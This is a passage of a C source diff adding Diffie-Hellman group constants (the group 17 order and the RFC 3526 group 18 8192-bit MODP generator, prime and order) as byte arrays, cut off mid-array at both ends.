0xEB, 0xCF, 0x9B, 0x14, 0xED, + 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, + 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, + 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, + 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, + 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, + 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, + 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, + 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, + 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, + 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, + 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, + 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, + 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, + 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, + 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, + 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, + 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, + 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, + 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, + 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, + 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, + 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, + 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, + 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group17_order[768] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x0C, 0x10, 0xBE, + 0x19, 0x48, 0x2F, 0x23, 0x17, 0x1B, 0x67, 0x1D, + 0xF1, 0xCF, 0x3B, 0x96, 0x0C, 0x07, 0x43, 0x01, + 0xCD, 0x93, 0xC1, 0xD1, 0x76, 0x03, 0xD1, 0x47, + 0xDA, 0xE2, 0xAE, 0xF8, 0x37, 0xA6, 0x29, 0x64, + 0xEF, 0x15, 0xE5, 0xFB, 0x4A, 0xAC, 0x0B, 0x8C, + 0x1C, 0xCA, 0xA4, 0xBE, 0x75, 0x4A, 0xB5, 0x72, + 0x8A, 0xE9, 0x13, 0x0C, 0x4C, 0x7D, 0x02, 0x88, + 0x0A, 0xB9, 0x47, 0x2D, 0x45, 0x55, 0x62, 0x16, + 0xD6, 0x99, 0x8B, 0x86, 0x82, 0x28, 0x3D, 0x19, + 0xD4, 0x2A, 0x90, 0xD5, 0xEF, 0x8E, 0x5D, 0x32, + 0x76, 0x7D, 0xC2, 0x82, 0x2C, 0x6D, 0xF7, 0x85, + 0x45, 0x75, 0x38, 0xAB, 0xAE, 0x83, 0x06, 0x3E, + 0xD9, 0xCB, 0x87, 0xC2, 0xD3, 0x70, 0xF2, 0x63, + 0xD5, 0xFA, 0xD7, 0x46, 0x6D, 0x84, 0x99, 0xEB, + 0x8F, 0x46, 0x4A, 0x70, 0x25, 0x12, 0xB0, 0xCE, + 0xE7, 0x71, 0xE9, 0x13, 0x0D, 0x69, 0x77, 0x35, + 0xF8, 0x97, 0xFD, 0x03, 0x6C, 0xC5, 0x04, 0x32, + 0x6C, 0x3B, 0x01, 0x39, 0x9F, 0x64, 0x35, 0x32, + 0x29, 0x0F, 0x95, 0x8C, 0x0B, 0xBD, 0x90, 0x06, + 0x5D, 0xF0, 0x8B, 0xAB, 0xBD, 0x30, 0xAE, 0xB6, + 0x3B, 0x84, 0xC4, 0x60, 0x5D, 0x6C, 0xA3, 0x71, + 0x04, 0x71, 0x27, 0xD0, 0x3A, 0x72, 0xD5, 0x98, + 0xA1, 0xED, 0xAD, 0xFE, 0x70, 0x7E, 0x88, 0x47, + 0x25, 0xC1, 0x68, 0x90, 0x54, 0x90, 0x84, 0x00, + 0x8D, 0x39, 0x1E, 0x09, 0x53, 0xC3, 0xF3, 0x6B, + 0xC4, 0x38, 0xCD, 0x08, 0x5E, 0xDD, 0x2D, 0x93, + 0x4C, 0xE1, 0x93, 0x8C, 0x35, 0x7A, 0x71, 0x1E, + 0x0D, 0x4A, 0x34, 0x1A, 0x5B, 0x0A, 0x85, 0xED, + 0x12, 0xC1, 0xF4, 0xE5, 0x15, 0x6A, 0x26, 0x74, + 0x6D, 0xDD, 0xE1, 0x6D, 0x82, 0x6F, 0x47, 0x7C, + 0x97, 0x47, 0x7E, 0x0A, 0x0F, 0xDF, 0x65, 0x53, + 0x14, 0x3E, 0x2C, 0xA3, 0xA7, 0x35, 0xE0, 0x2E, + 0xCC, 0xD9, 0x4B, 0x27, 0xD0, 0x48, 0x61, 0xD1, + 0x11, 0x9D, 0xD0, 0xC3, 0x28, 0xAD, 0xF3, 0xF6, + 0x8F, 0xB0, 0x94, 0xB8, 0x67, 0x71, 0x6B, 0xD7, + 0xDC, 0x0D, 0xEE, 0xBB, 0x10, 0xB8, 0x24, 0x0E, + 0x68, 0x03, 0x48, 0x93, 0xEA, 0xD8, 0x2D, 0x54, + 0xC9, 0xDA, 0x75, 0x4C, 0x46, 0xC7, 0xEE, 0xE0, + 0xC3, 0x7F, 0xDB, 0xEE, 0x48, 0x53, 0x60, 0x47, + 0xA6, 0xFA, 0x1A, 0xE4, 0x9A, 0x01, 0x42, 0x49, + 0x1B, 0x61, 0xFD, 0x5A, 0x69, 0x3E, 0x38, 0x13, + 0x60, 0xEA, 0x6E, 0x59, 0x30, 0x13, 0x23, 0x6F, + 0x64, 0xBA, 0x8F, 0x3B, 0x1E, 0xDD, 0x1B, 0xDE, + 0xFC, 0x7F, 0xCA, 0x03, 0x56, 0xCF, 0x29, 0x87, + 0x72, 0xED, 0x9C, 0x17, 0xA0, 0x98, 0x00, 0xD7, + 0x58, 0x35, 0x29, 0xF6, 0xC8, 0x13, 0xEC, 0x18, + 0x8B, 0xCB, 0x93, 0xD8, 0x43, 0x2D, 0x44, 0x8C, + 0x6D, 0x1F, 0x6D, 0xF5, 0xE7, 0xCD, 0x8A, 0x76, + 0xA2, 0x67, 0x36, 0x5D, 0x67, 0x6A, 0x5D, 0x8D, + 0xED, 0xBF, 0x8A, 0x23, 0xF3, 0x66, 0x12, 0xA5, + 0x99, 0x90, 0x28, 0xA8, 0x95, 0xEB, 0xD7, 0xA1, + 0x37, 0xDC, 0x7A, 0x00, 0x9B, 0xC6, 0x69, 0x5F, + 0xAC, 0xC1, 0xE5, 0x00, 0xE3, 0x25, 0xC9, 0x76, + 0x78, 0x19, 0x75, 0x0A, 0xE8, 0xB9, 0x0E, 0x81, + 0xFA, 0x41, 0x6B, 0xE7, 0x37, 0x3A, 0x7F, 0x7B, + 0x6A, 0xAF, 0x38, 0x17, 0xA3, 0x4C, 0x06, 0x41, + 0x5A, 0xD4, 0x20, 0x18, 0xC8, 0x05, 0x8E, 0x4F, + 0x2C, 0xF3, 0xE4, 0xBF, 0xDF, 0x63, 0xF4, 0x79, + 0x91, 0xD4, 0xBD, 0x3F, 0x1B, 0x66, 0x44, 0x5F, + 0x07, 0x8E, 0xA2, 0xDB, 0xFF, 0xAC, 0x2D, 0x62, + 0xA5, 0xEA, 0x03, 0xD9, 0x15, 0xA0, 0xAA, 0x55, + 0x66, 0x47, 0xB6, 0xBF, 0x5F, 0xA4, 0x70, 0xEC, + 0x0A, 0x66, 0x2F, 0x69, 0x07, 0xC0, 0x1B, 0xF0, + 0x53, 0xCB, 0x8A, 0xF7, 0x79, 0x4D, 0xF1, 0x94, + 0x03, 0x50, 0xEA, 0xC5, 0xDB, 0xE2, 0xED, 0x3B, + 0x7A, 0xA8, 0x55, 0x1E, 0xC5, 0x0F, 0xDF, 0xF8, + 0x75, 0x8C, 0xE6, 0x58, 0xD1, 0x89, 0xEA, 0xAE, + 0x6D, 0x2B, 0x64, 0xF6, 0x17, 0x79, 0x4B, 0x19, + 0x1C, 0x3F, 0xF4, 0x6B, 0xB7, 0x1E, 0x02, 0x34, + 0x02, 0x1F, 0x47, 0xB3, 0x1F, 0xA4, 0x30, 0x77, + 0x09, 0x5F, 0x96, 0xAD, 0x85, 0xBA, 0x3A, 0x6B, + 0x73, 0x4A, 0x7C, 0x8F, 0x36, 0xE6, 0x20, 0x12, + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* RFC 3526, 7. Group 18 - 8192 Bit MODP + * Generator: 2 + * Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 } + */ +static const u8 dh_group18_generator[1] = { 0x02 }; +static const u8 dh_group18_prime[1024] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, + 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, + 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, + 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, + 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, + 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, + 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, + 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, + 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, + 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, + 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, + 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, + 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, + 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, + 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, + 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, + 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, + 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, + 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, + 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, + 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, + 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, + 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, + 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, + 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, + 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, + 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, + 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, + 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, + 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, + 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, + 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, + 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, + 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, + 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, + 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, + 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, + 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, + 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, + 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, + 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, + 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, + 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, + 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, + 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, + 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, + 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, + 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, + 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, + 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, + 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, + 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, + 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, + 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, + 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, + 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, + 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, + 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, + 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, + 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, + 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, + 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, + 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, + 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, + 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, + 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, + 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, + 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, + 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59, + 0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4, + 0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C, + 0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA, + 0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00, + 0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED, + 0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66, + 0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68, + 0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78, + 0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D, + 0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9, + 0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07, + 0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7, + 0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B, + 0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD, + 0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8, + 0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A, + 0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6, + 0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D, + 0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36, + 0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1, + 0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D, + 0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1, + 0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73, + 0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68, + 0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92, + 0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7, + 0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B, + 0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47, + 0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA, + 0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF, + 0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71, + 0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group18_order[1024] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x0C, 0x10, 0xBE, + 0x19, 0x48, 0x2F, 0x23, 0x17, 0x1B, 0x67, 0x1D, + 0xF1, 0xCF, 0x3B, 0x96, 0x0C, 0x07, 0x43, 0x01, + 0xCD, 0x93, 0xC1, 0xD1, 0x76, 0x03, 0xD1, 0x47, + 0xDA, 0xE2, 0xAE, 0xF8, 0x37, 0xA6, 0x29, 0x64, + 0xEF, 0x15, 0xE5, 0xFB, 0x4A, 0xAC, 0x0B, 0x8C, + 0x1C, 0xCA, 0xA4, 0xBE, 0x75, 0x4A, 0xB5, 0x72, + 0x8A, 0xE9, 0x13, 0x0C, 0x4C, 0x7D, 0x02, 0x88, + 0x0A, 0xB9, 0x47, 0x2D, 0x45, 0x55, 0x62, 0x16, + 0xD6, 0x99, 0x8B, 0x86, 0x82, 0x28, 0x3D, 0x19, + 0xD4, 0x2A, 0x90, 0xD5, 0xEF, 0x8E, 0x5D, 0x32, + 0x76, 0x7D, 0xC2, 0x82, 0x2C, 0x6D, 0xF7, 0x85, + 0x45, 0x75, 0x38, 0xAB, 0xAE, 0x83, 0x06, 0x3E, + 0xD9, 0xCB, 0x87, 0xC2, 0xD3, 0x70, 0xF2, 0x63, + 0xD5, 0xFA, 0xD7, 0x46, 0x6D, 0x84, 0x99, 0xEB, + 0x8F, 0x46, 0x4A, 0x70, 0x25, 0x12, 0xB0, 0xCE, + 0xE7, 0x71, 0xE9, 0x13, 0x0D, 0x69, 0x77, 0x35, + 0xF8, 0x97, 0xFD, 0x03, 0x6C, 0xC5, 0x04, 0x32, + 0x6C, 0x3B, 0x01, 0x39, 0x9F, 0x64, 0x35, 0x32, + 0x29, 0x0F, 0x95, 0x8C, 0x0B, 0xBD, 0x90, 0x06, + 0x5D, 0xF0, 0x8B, 0xAB, 0xBD, 0x30, 0xAE, 0xB6, + 0x3B, 0x84, 0xC4, 0x60, 0x5D, 0x6C, 0xA3, 0x71, + 0x04, 0x71, 0x27, 0xD0, 0x3A, 0x72, 0xD5, 0x98, + 0xA1, 0xED, 0xAD, 0xFE, 0x70, 0x7E, 0x88, 0x47, + 0x25, 0xC1, 0x68, 0x90, 0x54, 0x90, 0x84, 0x00, + 0x8D, 0x39, 0x1E, 0x09, 0x53, 0xC3, 0xF3, 0x6B, + 0xC4, 0x38, 0xCD, 0x08, 0x5E, 0xDD, 0x2D, 0x93, + 0x4C, 0xE1, 0x93, 0x8C, 0x35, 0x7A, 0x71, 0x1E, + 0x0D, 0x4A, 0x34, 0x1A, 0x5B, 0x0A, 0x85, 0xED, + 0x12, 0xC1, 0xF4, 0xE5, 0x15, 0x6A, 0x26, 0x74, + 0x6D, 0xDD, 0xE1, 0x6D, 0x82, 0x6F, 0x47, 0x7C, + 0x97, 0x47, 0x7E, 0x0A, 0x0F, 0xDF, 0x65, 0x53, + 0x14, 0x3E, 0x2C, 0xA3, 0xA7, 0x35, 0xE0, 0x2E, + 0xCC, 0xD9, 0x4B, 0x27, 0xD0, 0x48, 0x61, 0xD1, + 0x11, 0x9D, 0xD0, 0xC3, 0x28, 0xAD, 0xF3, 0xF6, + 0x8F, 0xB0, 0x94, 0xB8, 0x67, 0x71, 0x6B, 0xD7, + 0xDC, 0x0D, 0xEE, 0xBB, 0x10, 0xB8, 0x24, 0x0E, + 0x68, 0x03, 0x48, 0x93, 0xEA, 0xD8, 0x2D, 0x54, + 0xC9, 0xDA, 0x75, 0x4C, 0x46, 0xC7, 0xEE, 0xE0, + 0xC3, 0x7F, 0xDB, 0xEE, 0x48, 0x53, 0x60, 0x47, + 0xA6, 0xFA, 0x1A, 0xE4, 0x9A, 0x01, 0x42, 0x49, + 0x1B, 0x61, 0xFD, 0x5A, 0x69, 0x3E, 0x38, 0x13, + 0x60, 0xEA, 0x6E, 0x59, 0x30, 0x13, 0x23, 0x6F, + 0x64, 0xBA, 0x8F, 0x3B, 0x1E, 0xDD, 0x1B, 0xDE, + 0xFC, 0x7F, 0xCA, 0x03, 0x56, 0xCF, 0x29, 0x87, + 0x72, 0xED, 0x9C, 0x17, 0xA0, 0x98, 0x00, 0xD7, + 0x58, 0x35, 0x29, 0xF6, 0xC8, 0x13, 0xEC, 0x18, + 0x8B, 0xCB, 0x93, 0xD8, 0x43, 0x2D, 0x44, 0x8C, + 0x6D, 0x1F, 0x6D, 0xF5, 0xE7, 0xCD, 0x8A, 0x76, + 0xA2, 0x67, 0x36, 0x5D, 0x67, 0x6A, 0x5D, 0x8D, + 0xED, 0xBF, 0x8A, 0x23, 0xF3, 0x66, 0x12, 0xA5, + 0x99, 0x90, 0x28, 0xA8, 0x95, 0xEB, 